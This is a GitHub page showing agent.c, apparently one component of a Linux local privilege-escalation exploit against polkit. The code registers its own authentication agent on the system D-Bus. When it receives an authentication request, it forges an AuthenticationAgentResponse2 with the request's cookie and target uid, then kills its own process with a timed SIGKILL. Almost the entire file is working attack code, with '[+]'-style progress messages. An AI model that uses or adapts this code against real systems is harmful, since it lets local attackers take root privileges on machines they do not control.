-
Notifications
You must be signed in to change notification settings - Fork 5
/
agent.c
185 lines (153 loc) · 6.82 KB
/
agent.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <dbus/dbus.h>
#include <unistd.h>
#include <gio/gio.h>
#include <gio/gdbusconnection.h>
#include <dbus/dbus-glib-lowlevel.h>
#include <pthread.h>
#define dprintf(format, ...) g_print("pid:%d - "format, getpid(), ##__VA_ARGS__)
#define dprintferr(format, ...) g_printerr("pid:%d - "format, getpid(), ##__VA_ARGS__)
GDBusConnection *bconn;
GDBusProxy *bproxy;
static void auth_agent_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data);
static const GDBusInterfaceVTable auth_agent_vtable = {
auth_agent_handle_method_call,
NULL, /* _handle_get_property */
NULL /* _handle_set_property */
};
static const char *authority_dbus_spec =
"<node>"
" <interface name='org.freedesktop.PolicyKit1.AuthenticationAgent'>"
" <method name='BeginAuthentication'>"
" <arg type='s' name='action_id' direction='in'/>"
" <arg type='s' name='message' direction='in'/>"
" <arg type='s' name='icon_name' direction='in'/>"
" <arg type='a{ss}' name='details' direction='in'/>"
" <arg type='s' name='cookie' direction='in'/>"
" <arg type='a(sa{sv})' name='identities' direction='in'/>"
" </method>"
" <method name='CancelAuthentication'>"
" <arg type='s' name='cookie' direction='in'/>"
" </method>"
" </interface>"
"</node>";
void *kill_self() {
sleep(0.01);
kill(getpid(), SIGKILL);
return 0;
}
void register_authentication_agent() {
GVariantBuilder session;
GVariant *dict;
GVariant *subject_value;
GDBusNodeInfo *nodeinfo;
GError *dbus_error = NULL;
GDBusInterfaceInfo *ifaceinfo;
const gchar *object_path = "/org/freedesktop/PolicyKit1/AuthenticationAgent";
dprintf ("[*] trying to register authentication agent to polkit ...\n");
g_variant_builder_init (&session, G_VARIANT_TYPE("a{sv}")) ;
g_variant_builder_add (&session, "{sv}", "pid", g_variant_new_uint32 (getpid()));
g_variant_builder_add (&session, "{sv}", "start-time", g_variant_new_uint64 (0));
dict = g_variant_builder_end (&session);
subject_value = g_variant_new ("(s@a{sv})", "unix-process", dict);
bproxy = g_dbus_proxy_new_sync (
bconn, G_DBUS_PROXY_FLAGS_NONE, NULL,
"org.freedesktop.PolicyKit1",
"/org/freedesktop/PolicyKit1/Authority",
"org.freedesktop.PolicyKit1.Authority",
NULL, NULL);
g_dbus_proxy_call (
bproxy,
"RegisterAuthenticationAgent",
g_variant_new ("(@(sa{sv})ss)", subject_value, "en_US.UTF-8", object_path ),
G_DBUS_CALL_FLAGS_ALLOW_INTERACTIVE_AUTHORIZATION, -1, NULL, NULL, NULL);
nodeinfo = g_dbus_node_info_new_for_xml (authority_dbus_spec ,&dbus_error);
ifaceinfo = g_dbus_interface_info_ref(g_dbus_node_info_lookup_interface(
nodeinfo,
"org.freedesktop.PolicyKit1.AuthenticationAgent")
);
g_dbus_connection_register_object (bconn,
"/org/freedesktop/PolicyKit1/AuthenticationAgent",
ifaceinfo, &auth_agent_vtable, NULL, NULL, &dbus_error);
dprintf("[+] polkit authentication agent registered successfully!\n");
}
void auth_agent_handle_begin_authentication (GVariant *parameters,
GDBusMethodInvocation *invocation) {
const gchar *action_id;
const gchar *message;
const gchar *icon_name;
GVariant *details_gvariant;
const gchar *cookie;
GVariantIter *identities_gvariant;
GVariant *identity_data ;
gchar *idtype;
GVariantIter *identity_from_remote;
gchar *key;
GVariant *value;
guint32 uid;
pthread_t t;
g_variant_get (parameters,
"(sssa{ss}sa(sa{sv}))",
&action_id,
&message,
&icon_name,
&details_gvariant,
&cookie,
&identities_gvariant);
dprintf ("[+] received authentication for action '%s' ...\n", action_id);
g_variant_iter_loop(identities_gvariant, "(sa{sv})", &idtype, &identity_from_remote);
g_variant_iter_loop(identity_from_remote, "{sv}", &key, &value);
g_variant_get(value, "u", &uid);
GVariantBuilder identity;
g_variant_builder_init (&identity, G_VARIANT_TYPE("(sa{sv})"));
g_variant_builder_add (&identity, "s", "unix-user");
g_variant_builder_open (&identity, G_VARIANT_TYPE("a{sv}"));
{
g_variant_builder_open (&identity, G_VARIANT_TYPE("{sv}"));
g_variant_builder_add (&identity, "s", "uid");
g_variant_builder_add (&identity, "v", g_variant_new_uint32(uid));
g_variant_builder_close (&identity);
}
g_variant_builder_close (&identity);
identity_data = g_variant_builder_end(&identity);
dprintf ("[*] sending agent response with cookie: %s\n", cookie);
g_dbus_proxy_call(bproxy,
"AuthenticationAgentResponse2",
g_variant_new ("(us@(sa{sv}))", (guint32)getuid(), cookie, identity_data),
G_DBUS_CALL_FLAGS_ALLOW_INTERACTIVE_AUTHORIZATION, -1, NULL, NULL, NULL);
pthread_create(&t, NULL, &kill_self, NULL);
g_dbus_method_invocation_return_value(invocation, NULL);
}
void auth_agent_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data) {
if (g_strcmp0 (method_name, "BeginAuthentication") == 0) {
auth_agent_handle_begin_authentication ( parameters, invocation);
} else {
g_assert_not_reached ();
}
}
void *start_authentication_agent () {
dprintf("[*] starting polkit authentication agent ...\n");
bconn = g_bus_get_sync (G_BUS_TYPE_SYSTEM, NULL, NULL);
register_authentication_agent();
GMainLoop *loop = g_main_loop_new (NULL, FALSE);
dprintf ("[+] D-Bus message loop now running ..\n");
g_main_loop_run (loop);
return 0;
}